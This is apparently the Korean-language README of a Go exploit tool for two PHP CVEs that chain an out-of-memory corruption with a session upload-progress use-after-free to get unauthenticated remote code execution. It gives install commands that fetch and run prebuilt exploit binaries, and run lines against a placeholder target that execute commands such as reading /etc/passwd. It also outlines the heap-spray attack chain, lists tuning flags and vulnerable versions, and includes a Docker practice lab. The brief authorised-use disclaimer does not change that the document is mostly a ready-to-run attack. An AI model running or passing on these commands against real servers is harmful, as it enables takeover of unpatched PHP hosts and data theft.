
[PHP2Shell] PHP 5.4–8.5.11의 OOM 손상 + session.upload_progress UAF를 통한 인증되지 않은 RCE에 대한 CVE-2026-109618 / CVE-2026-109619 Golang 익스플로잇
PHP 5.4.0 – 8.5.11(모든 웹 서버)의 비인증 원격 코드 실행.
CVSS 9.2 심각 · 2026-10-21 패치됨 · CISA KEV 2026-10-26
승인된 보안 테스트 전용 — 소유한 시스템 또는 명시적 서면 허가를 받은 시스템에서만 사용하십시오.
go install (가장 빠름, Go 1.22+ 필요)go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"
Go가 설치되어 있지 않으신가요? 30초 만에 설치하세요:
# Debian / Ubuntu / Kali
sudo apt install -y golang-go
# then run go install as above
사전 빌드된 바이너리는 모든 GitHub Release에 첨부되어 있습니다.
# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# Linux ARM64
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Apple Silicon
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Intel
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
새 태그가 푸시되면 GitHub Actions가 바이너리를 자동으로 빌드합니다.
curl이 "Not found"라고 표시된 아주 작은 파일을 반환하면 아직 릴리스가 존재하지 않는 것이므로, 대신 옵션 A를 사용하세요.
git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit
make all # start lab + run exploit in one shot
make exploit # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"
PHP에는 조작된 multipart/form-data HTTP POST 요청으로 트리거되는 두 가지 치명적인 메모리 안전성 버그가 있습니다:
| CVE | 유형 | 트리거 |
|---|---|---|
| CVE-2026-109618 | 메모리 손상 (OOM) | 대용량 multipart 필드가 파싱 도중 memory_limit을 소진하고, 부분적으로 초기화된 상태에서 longjmp()가 발생 |
| CVE-2026-109619 | Use-after-free | PHP_SESSION_UPLOAD_PROGRESS 필드가 이전 요청에서 해제된 워커 메모리를 읽음 |
두 버그 모두 로그인, 특수 엔드포인트, 또는 애플리케이션 코드가 필요하지 않습니다 — 어떤 .php 스크립트도 실행되기 전에 PHP 엔진 내부에서 발생합니다.
주석이 달린 HTTP 요청과 함께 전체 기술 분석은 docs/vulnerability.md를 참조하세요.
Phase 1 (CVE-2026-109618)
Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
→ worker's internal session/decoder state freed but NOT zeroed
→ stale pointers remain in the PHP worker heap
same worker process ↓
Phase 2 (CVE-2026-109619)
POST with Cookie: PHPSESSID=<random>
+ PHP_SESSION_UPLOAD_PROGRESS field ← fires before any app code
+ 128 KB file upload (fake PHP zval structs)
→ upload progress handler dereferences stale pointer → UAF
→ heap spray reclaims freed region → controlled write → RCE
| 플래그 | 기본값 | 설명 |
|---|---|---|
-target | 필수 | 기본 URL, 예: http://192.168.1.10 |
-path | /index.php | PHP 엔드포인트 경로 |
-cmd | id | 실행할 OS 명령 |
-mode | auto | auto / modphp / fpm |
-workers | 8 | 스프레이할 워커 슬롯 수 |
-oom-parts | 30 | Phase 1의 멀티파트 필드 수 |
-part-size | 204800 | 필드당 바이트 수 (200 KB) |
-spray-size | 131072 | 힙 스프레이 크기 (128 KB) |
-timeout | 15s | 요청당 타임아웃 |
-verbose | false | 원시 응답 본문 출력 |
-leak-only | false | 메모리 누출만 수행 (ASLR 분석) |
| 브랜치 | 마지막 취약 버전 | 수정된 버전 |
|---|---|---|
| PHP 8.2 | 8.2.34 | 8.2.35 |
| PHP 8.3 | 8.3.35 | 8.3.36 |
| PHP 8.4 | 8.4.26 | 8.4.27 |
| PHP 8.5 | 8.5.11 | 8.5.12 |
| PHP ≤ 8.1 | 전체 | 업스트림 패치 없음 — 배포판 백포트 사용 |
sandbox/ 디렉터리에는 두 CVE 모두를 노출하는 기본 설정을 갖춘, 바로 사용 가능한 취약한 타깃(PHP 8.4.26 + Apache mod_php)이 포함되어 있습니다.
cd sandbox
docker compose up -d # starts on :8888
open http://localhost:8888 # attack surface dashboard
docker compose down
make show all commands
make all start lab + run exploit (one shot)
make lab start Docker lab
make lab-stop stop Docker lab
make lab-logs tail Apache/PHP error logs live
make lab-shell open bash inside the container
make exploit build & run against lab
make exploit-fpm FPM mode, 16 workers
make leak memory leak mode (ASLR analysis)
make build build binary only